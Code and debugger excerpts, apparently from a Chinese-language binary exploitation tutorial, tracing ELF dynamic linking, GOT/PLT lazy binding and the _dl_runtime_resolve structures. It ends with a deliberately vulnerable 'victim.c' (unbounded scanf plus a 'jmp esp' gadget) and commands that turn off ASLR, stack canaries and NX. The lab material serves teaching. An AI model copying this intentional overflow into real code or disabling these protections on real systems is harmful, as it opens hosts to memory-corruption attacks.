int main() {
    int a, b;
    a = var;
    b = my_var;
    return my_func(a, b);
}

# 位置相关
gcc -g -m32 -masm=intel -L. -lsymbol -no-pie -fno-pic main.c libsymbol.so -o main
# 位置无关
gcc -g -m32 -masm=intel -L. -lsymbol main.c libsymbol.so -o main_pi

$ readelf -S ./main
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 5] .dynsym           DYNSYM          080481ec 0001ec 0000b0 10   A  6   1  4
  [ 6] .dynstr           STRTAB          0804829c 00029c 000085 00   A  0   0  1
...
  [33] .symtab           SYMTAB          00000000 00120c 000490 10     34  52  4
  [34] .strtab           STRTAB          00000000 00169c 0001e1 00      0   0  1

$ readelf -S ./main | grep "\.data"
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [25] .data             PROGBITS        0804a014 001014 00000c 00  WA  0   0  4

$ objdump  -d ./main | grep "<main>" -A 15
080484db <main>:
 80484db:	8d 4c 24 04          	lea    ecx,[esp+0x4]
 80484df:	83 e4 f0             	and    esp,0xfffffff0
 80484e2:	ff 71 fc             	push   DWORD PTR [ecx-0x4]
 80484e5:	55                   	push   ebp
 80484e6:	89 e5                	mov    ebp,esp
 80484e8:	51                   	push   ecx
 80484e9:	83 ec 14             	sub    esp,0x14
 80484ec:	a1 1c a0 04 08       	mov    eax,ds:0x804a01c
 80484f1:	89 45 f4             	mov    DWORD PTR [ebp-0xc],eax
 80484f4:	a1 20 a0 04 08       	mov    eax,ds:0x804a020
 80484f9:	89 45 f0             	mov    DWORD PTR [ebp-0x10],eax
 80484fc:	83 ec 08             	sub    esp,0x8
 80484ff:	ff 75 f0             	push   DWORD PTR [ebp-0x10]
 8048502:	ff 75 f4             	push   DWORD PTR [ebp-0xc]
 8048505:	e8 a6 fe ff ff       	call   80483b0 <my_func@plt>

$ gdb ./main
(gdb) x/xw 0x804a01c
0x804a01c <var>:	0x0000000a

$ readelf -S ./main_pi | grep "\.data"
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [25] .data             PROGBITS        00002014 001014 00000c 00  WA  0   0  4

$ objdump -d main_pi | grep "<main>" -A 20
00000660 <main>:
 660:	8d 4c 24 04          	lea    ecx,[esp+0x4]
 664:	83 e4 f0             	and    esp,0xfffffff0
 667:	ff 71 fc             	push   DWORD PTR [ecx-0x4]
 66a:	55                   	push   ebp
 66b:	89 e5                	mov    ebp,esp
 66d:	53                   	push   ebx
 66e:	51                   	push   ecx
 66f:	83 ec 10             	sub    esp,0x10
 672:	e8 36 00 00 00       	call   6ad <__x86.get_pc_thunk.ax>
 677:	05 89 19 00 00       	add    eax,0x1989
 67c:	8b 90 1c 00 00 00    	mov    edx,DWORD PTR [eax+0x1c]
 682:	89 55 f4             	mov    DWORD PTR [ebp-0xc],edx
 685:	8b 90 f0 ff ff ff    	mov    edx,DWORD PTR [eax-0x10]
 68b:	8b 12                	mov    edx,DWORD PTR [edx]
 68d:	89 55 f0             	mov    DWORD PTR [ebp-0x10],edx
 690:	83 ec 08             	sub    esp,0x8
 693:	ff 75 f0             	push   DWORD PTR [ebp-0x10]
 696:	ff 75 f4             	push   DWORD PTR [ebp-0xc]
 699:	89 c3                	mov    ebx,eax
 69b:	e8 20 fe ff ff       	call   4c0 <my_func@plt>

objdump -d main_pi | grep "__x86.get_pc_thunk.ax" -A 2
000006ad <__x86.get_pc_thunk.ax>:
 6ad:	8b 04 24             	mov    eax,DWORD PTR [esp]
 6b0:	c3                   	ret

$ readelf -S ./main_pi | grep 2000 -C 1
  [23] .got              PROGBITS        00001fe4 000fe4 00001c 04  WA  0   0  4
  [24] .got.plt          PROGBITS        00002000 001000 000014 04  WA  0   0  4
  [25] .data             PROGBITS        00002014 001014 00000c 00  WA  0   0  4

$ gdb ./main_pi 
(gdb) x/xw 0x2000+0x1c
0x201c <var>:	0x0000000a

struct link_map
{
   /* Shared library's load address. */
   ElfW(Addr) l_addr;                 
   /* Pointer to library's name in the string table. */                                 
   char *l_name;    
   /* 
        Dynamic section of the shared object.
        Includes dynamic linking info etc.
        Not interesting to us.  
   */                   
   ElfW(Dyn) *l_ld;   
   /* Pointer to previous and next link_map node. */                 
   struct link_map *l_next, *l_prev;   
};

$ readelf -S main | egrep  '.plt|.got'
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [12] .plt              PROGBITS        080483a0 0003a0 000030 04  AX  0   0 16
  [13] .plt.got          PROGBITS        080483d0 0003d0 000008 00  AX  0   0  8
  [23] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
  [24] .got.plt          PROGBITS        0804a000 001000 000014 04  WA  0   0  4

$ readelf --relocs ./main

Relocation section '.rel.dyn' at offset 0x358 contains 2 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
08049ffc  00000206 R_386_GLOB_DAT    00000000   __gmon_start__
0804a020  00000605 R_386_COPY        0804a020   my_var

Relocation section '.rel.plt' at offset 0x368 contains 2 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   my_func
0804a010  00000307 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0

$ readelf -S main | grep 0804a020 -B 2
  [24] .got.plt          PROGBITS        0804a000 001000 000014 04  WA  0   0  4
  [25] .data             PROGBITS        0804a014 001014 00000c 00  WA  0   0  4
  [26] .bss              NOBITS          0804a020 001020 000008 00  WA  0   0  4

(gdb) x/dw 0x0804a020
0x804a020 <my_var>:	0

(gdb) set environment LD_LIBRARY_PATH=.
(gdb) watch -l *0x804a020
Hardware watchpoint 1: -location *0x804a020
(gdb) run
Starting program: /home/pan/project/cFile/shared_library/plt/main 

Hardware watchpoint 1: -location *0x804a020

Old value = 0
New value = 42
0xf7ff2e08 in ?? () from /lib/ld-linux.so.2
(gdb) x/xd 0x804a020
0x804a020 <my_var>:	42

(gdb) disassemble  main
Dump of assembler code for function main:
   0x080484db <+0>:	lea    ecx,[esp+0x4]
   0x080484df <+4>:	and    esp,0xfffffff0
   0x080484e2 <+7>:	push   DWORD PTR [ecx-0x4]
   0x080484e5 <+10>:	push   ebp
   0x080484e6 <+11>:	mov    ebp,esp
   0x080484e8 <+13>:	push   ecx
   0x080484e9 <+14>:	sub    esp,0x14
   0x080484ec <+17>:	mov    eax,ds:0x804a01c
   0x080484f1 <+22>:	mov    DWORD PTR [ebp-0xc],eax
   0x080484f4 <+25>:	mov    eax,ds:0x804a020
   0x080484f9 <+30>:	mov    DWORD PTR [ebp-0x10],eax
   0x080484fc <+33>:	sub    esp,0x8
   0x080484ff <+36>:	push   DWORD PTR [ebp-0x10]
   0x08048502 <+39>:	push   DWORD PTR [ebp-0xc]
   0x08048505 <+42>:	call   0x80483b0 <my_func@plt>

(gdb) disassemble 0x80483b0
Dump of assembler code for function my_func@plt:
   0x080483b0 <+0>:	jmp    DWORD PTR ds:0x804a00c
   0x080483b6 <+6>:	push   0x0
   0x080483bb <+11>:	jmp    0x80483a0
End of assembler dump.

(gdb) x/4xw 0x804a00c
0x804a00c:	0x080483b6	0x080483c6	0x00000000	0x00000000

(gdb) x/2i 0x080483a0
   0x80483a0:	push   DWORD PTR ds:0x804a004
   0x80483a6:	jmp    DWORD PTR ds:0x804a008

(gdb) x/4xw 0x804a000
0x804a000:	0x08049f0c	0x00000000	0x00000000	0x080483b6

_dl_runtime_resolve:
        cfi_adjust_cfa_offset (8)
        pushl %eax                # Preserve registers otherwise clobbered.
        cfi_adjust_cfa_offset (4)
        pushl %ecx
        cfi_adjust_cfa_offset (4)
        pushl %edx
        cfi_adjust_cfa_offset (4)
        movl 16(%esp), %edx        # Copy args pushed by PLT in register.  Note
        movl 12(%esp), %eax        # that `fixup' takes its parameters in regs.
        call _dl_fixup                # Call resolver.
        popl %edx                # Get register content back.
        cfi_adjust_cfa_offset (-4)
        movl (%esp), %ecx
        movl %eax, (%esp)        # Store the function address.
        movl 4(%esp), %eax
        ret $12                        # Jump to function address.

(gdb) b *0x80483a6
(gdb) watch -l *0x804a00c
(gdb) run
Breakpoint 1, 0x080483a6 in ?? ()
(gdb) x/xw 0x804a00c
0x804a00c:	0x080483b6
(gdb) continue
Hardware watchpoint 1: -location *0x804a00c

Old value = 0x80483b6
New value = 0xf7fcf4f0
0xf7fe8113 in ?? () from /lib/ld-linux.so.2
(gdb) disassemble 0xf7fcf4f0
Dump of assembler code for function my_func:
...

$ readelf -S main
Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [12] .plt              PROGBITS        080483a0 0003a0 000030 04  AX  0   0 16
  [13] .plt.got          PROGBITS        080483d0 0003d0 000008 00  AX  0   0  8
  [14] .text             PROGBITS        080483e0 0003e0 0001a2 00  AX  0   0 16
  [23] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
  [24] .got.plt          PROGBITS        0804a000 001000 000014 04  WA  0   0  4
  [25] .data             PROGBITS        0804a014 001014 00000c 00  WA  0   0  4
  [26] .bss              NOBITS          0804a020 001020 000008 00  WA  0   0  4
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),

0x8048154 - 0x8048167  .interp
0x8048168 - 0x8048188  .note.ABI-tag
0x8048188 - 0x80481ac  .note.gnu.build-id
0x80481ac - 0x80481cc  .gnu.hash
0x80481cc - 0x804822c  .dynsym
0x804822c - 0x8048287  .dynstr
0x8048288 - 0x8048294  .gnu.version
0x8048294 - 0x80482b4  .gnu.version_r
0x80482b4 - 0x80482bc  .rel.dyn
0x80482bc - 0x80482d4  .rel.plt
0x80482d4 - 0x80482f7  .init
0x8048300 - 0x8048340  .plt
0x8048340 - 0x8048348  .plt.got
0x8048350 - 0x8048532  .text
0x8048534 - 0x8048548  .fini
0x8048548 - 0x804855c  .rodata
0x804855c - 0x8048590  .eh_frame_hdr
0x8048590 - 0x804867c  .eh_frame
0x8049f08 - 0x8049f0c  .init_array
0x8049f0c - 0x8049f10  .fini_array
0x8049f10 - 0x8049f14  .jcr
0x8049f14 - 0x8049ffc  .dynamic
0x8049ffc - 0x804a000  .got
0x804a000 - 0x804a018  .got.plt
0x804a018 - 0x804a020  .data
0x804a020 - 0x804a024  .bss

 ► 0x8048310  <puts@plt>                  jmp    dword ptr [_GLOBAL_OFFSET_TABLE_+12] <0x804a00c>

   0x8048316  <puts@plt+6>                push   0
   0x804831b  <puts@plt+11>               jmp    0x8048300
    ↓
   0x8048300                              push   dword ptr [_GLOBAL_OFFSET_TABLE_+4] <0x804a004>
   0x8048306                              jmp    dword ptr [0x804a008] <0xf7fee000>
    ↓
   0xf7fee000 <_dl_runtime_resolve>       push   eax

dl_resolve(link_map, index)

Elf32_Rel *reloc = JMPREL + index
Elf32_Sym *sym = &SYMTAB[((reloc->r_info)>>8)]
// type 檢查，檢查是否為 R_386_JMP_SLOT
assert (((reloc->r_info)&0xff) == 0x7 )

$ readelf -d dummy

Dynamic section at offset 0xf14 contains 24 entries:
  Tag        Type                         Name/Value
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]
 0x0000000c (INIT)                       0x80482d4
 0x0000000d (FINI)                       0x8048534
 0x00000019 (INIT_ARRAY)                 0x8049f08
 0x0000001b (INIT_ARRAYSZ)               4 (bytes)
 0x0000001a (FINI_ARRAY)                 0x8049f0c
 0x0000001c (FINI_ARRAYSZ)               4 (bytes)
 0x6ffffef5 (GNU_HASH)                   0x80481ac
 0x00000005 (STRTAB)                     0x804822c <--
 0x00000006 (SYMTAB)                     0x80481cc <--
 0x0000000a (STRSZ)                      91 (bytes)
 0x0000000b (SYMENT)                     16 (bytes)
 0x00000015 (DEBUG)                      0x0
 0x00000003 (PLTGOT)                     0x804a000
 0x00000002 (PLTRELSZ)                   24 (bytes)
 0x00000014 (PLTREL)                     REL
 0x00000017 (JMPREL)                     0x80482bc <--
 0x00000011 (REL)                        0x80482b4
 0x00000012 (RELSZ)                      8 (bytes)
 0x00000013 (RELENT)                     8 (bytes)
 0x6ffffffe (VERNEED)                    0x8048294
 0x6fffffff (VERNEEDNUM)                 1
 0x6ffffff0 (VERSYM)                     0x8048288
 0x00000000 (NULL)                       0x0

typedef uint32_t Elf32_Addr;
typedef uint32_t Elf32_Word;
typedef struct
{
  Elf32_Addr    r_offset;               /* Address */
  Elf32_Word    r_info;                 /* Relocation type and symbol index */
} Elf32_Rel;
#define ELF32_R_SYM(val) ((val) >> 8)       /* symbol index */
#define ELF32_R_TYPE(val) ((val) & 0xff)    /* relocation type */

pwndbg> x/8xw 0x80482bc
0x80482bc:	0x0804a00c	0x00000107	0x0804a010	0x00000307
0x80482cc:	0x0804a014	0x00000407	0x08ec8353	0x0000a3e8

typedef struct
{
  Elf32_Word    st_name;   /* Symbol name (string tbl index) */
  Elf32_Addr    st_value;  /* Symbol value */
  Elf32_Word    st_size;   /* Symbol size */
  unsigned char st_info;   /* Symbol type and binding */
  unsigned char st_other;  /* Symbol visibility under glibc>=2.2 */
  Elf32_Section st_shndx;  /* Section index */
} Elf32_Sym;

pwndbg> x/32xw 0x80481cc
0x80481cc:	0x00000000	0x00000000	0x00000000	0x00000000
0x80481dc:	0x0000001a	0x00000000	0x00000000	0x00000012
0x80481ec:	0x00000042	0x00000000	0x00000000	0x00000020
0x80481fc:	0x00000030	0x00000000	0x00000000	0x00000012
0x804820c:	0x0000001f	0x00000000	0x00000000	0x00000012
0x804821c:	0x0000000b	0x0804854c	0x00000004	0x00100011
0x804822c:	0x62696c00	0x6f732e63	0x5f00362e	0x735f4f49
0x804823c:	0x6e696474	0x6573755f	0x75700064	0x5f007374
                                                      ||
                                                      \/
                                                    st_other

$ readelf -r dummy
Relocation section '.rel.plt' at offset 0x2bc contains 3 entries:
 Offset     Info    Type            Sym.Value  Sym. Name
0804a00c  00000107 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0

name = STRTAB + sym->st_name

pwndbg> x/10s 0x804822c
0x804822c:	""
0x804822d:	"libc.so.6"
0x8048237:	"_IO_stdin_used"
0x8048246:	"puts"
0x804824b:	"__errno_location"
0x804825c:	"__libc_start_main"
0x804826e:	"__gmon_start__"
0x804827d:	"GLIBC_2.0"
0x8048287:	""
0x8048288:	""

uint16_t ndx = VERSYM[ (reloc->r_info) >> 8]
r_found_version *version = &l->l_version[ndx]

Elf32_Rel *reloc = JMPREL + index
Elf32_Sym *sym = &SYMTAB[((reloc->r_info)>>8)]
// type 檢查，檢查是否為 R_386_JMP_SLOT
assert (((reloc->r_info)&0xff) == 0x7 )

 0x00000005 (STRTAB)                     0x804822c
 0x00000006 (SYMTAB)                     0x80481cc
 0x00000017 (JMPREL)                     0x80482bc

p/x *(Elf32_Rel *)0x80482bc
$6 = {
  r_offset = 0x804a00c,
  r_info = 0x107
}

Dump of assembler code for function puts@plt:
=> 0x08048310 <+0>:     jmp    DWORD PTR ds:0x804a00c
   0x08048316 <+6>:     push   0x0
   0x0804831b <+11>:    jmp    0x8048300

&SYMTAB[((reloc->r_info)>>8)] = &SYMTAB[1] = 0x80481cc + sizeof(Elf32_Sym)

pwndbg> p/x 0x80481cc + sizeof(Elf32_Sym)
$8 = 0x80481dc
pwndbg> p (Elf32_Sym *)0x80481dc
$9 = (Elf32_Sym *) 0x80481dc
p/d *(Elf32_Sym *) 0x80481dc
$10 = {
  st_name = 26,
  st_value = 0,
  st_size = 0,
  st_info = 18,
  st_other = 0,
  st_shndx = 0
}

pwndbg> x/1s 0x804822c+26
0x8048246:	"puts"

Elf64_Rel *reloc = JMPREL + index*3*8
Elf64_Sym *sym = &SYMTAB[((reloc->r_info)>>0x20)]
            // = SYMTAB + (reloc->r_info)*3*8
// type 檢查，檢查是否為 R_X86_64_JMP_SLOT
assert (((reloc->r_info)&0xff) == 0x7 )

typedef __u16   Elf64_Half;
typedef __u32   Elf64_Word;
typedef __u64   Elf64_Addr;
typedef __u64   Elf64_Xword;
typedef __s64   Elf64_Sxword;

typedef struct elf64_rela {
  Elf64_Addr r_offset;  /* Location at which to apply the action */
  Elf64_Xword r_info;   /* index and type of relocation */
  Elf64_Sxword r_addend;    /* Constant addend used to compute value */
} Elf64_Rela;
#define ELF64_R_SYM(i) ((i) >> 32)
#define ELF64_R_TYPE(i) ((i) & 0xffffffff)

typedef struct elf64_sym {
  Elf64_Word st_name;       /* Symbol name, index in string tbl */
  unsigned char st_info;    /* Type and binding attributes */
  unsigned char st_other;   /* No defined meaning, 0 */
  Elf64_Half st_shndx;      /* Associated section index */
  Elf64_Addr st_value;      /* Value of the symbol */
  Elf64_Xword st_size;      /* Associated symbol size */
} Elf64_Sym;

// dl-runtime.c
/* Look up the target symbol. If the normal lookup rules are not used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
  const struct r_found_version *version = NULL;

  if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
  const ElfW(Half) *vernum =
    (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
  ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
  version = &l->l_versions[ndx];
  if (version->hash == 0)
    version = NULL;
}

uint16_t ndx = VERSYM[ (reloc->r_info) >> 0x20]

   0x00007ffff7de9434 <+100>:   mov    rax,QWORD PTR [r10+0x1c8]
=> 0x00007ffff7de943b <+107>:   test rax,rax
   0x00007ffff7de943e <+110>:   je     0x7ffff7de9530 <_dl_fixup+352>
   0x00007ffff7de9444 <+116>:   mov    rax,QWORD PTR [rax+0x8]
   0x00007ffff7de9448 <+120>:   movzx  eax,WORD PTR [rax+rdx*2]
   0x00007ffff7de944c <+124>:   and    eax,0x7fff

int foo(int arg1, int arg2) {
    int local1;
    int local2;
    // ...
}

// victim.c
# include <stdio.h>
int foo() {
    char buf[10];
    scanf("%s", buf);
    printf("hello %s\n", buf);
    return 0;
}
int main() {
    foo();
    printf("good bye!\n");
    return 0;
}
void dummy() {
    __asm__("nop; jmp esp");
}

# 运行时禁用ASLR(系统级):
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# 或者:
# sudo sysctl kernel.randomize_va_space=0
# 或者新建一个禁用ASLR的bash环境(用户级):
# setarch `uname -m` -R /bin/bash

# 编译时禁用canary和NX:
gcc victim.c -o victim -g -m32 -no-pie -masm=intel -fno-stack-protector -z execstack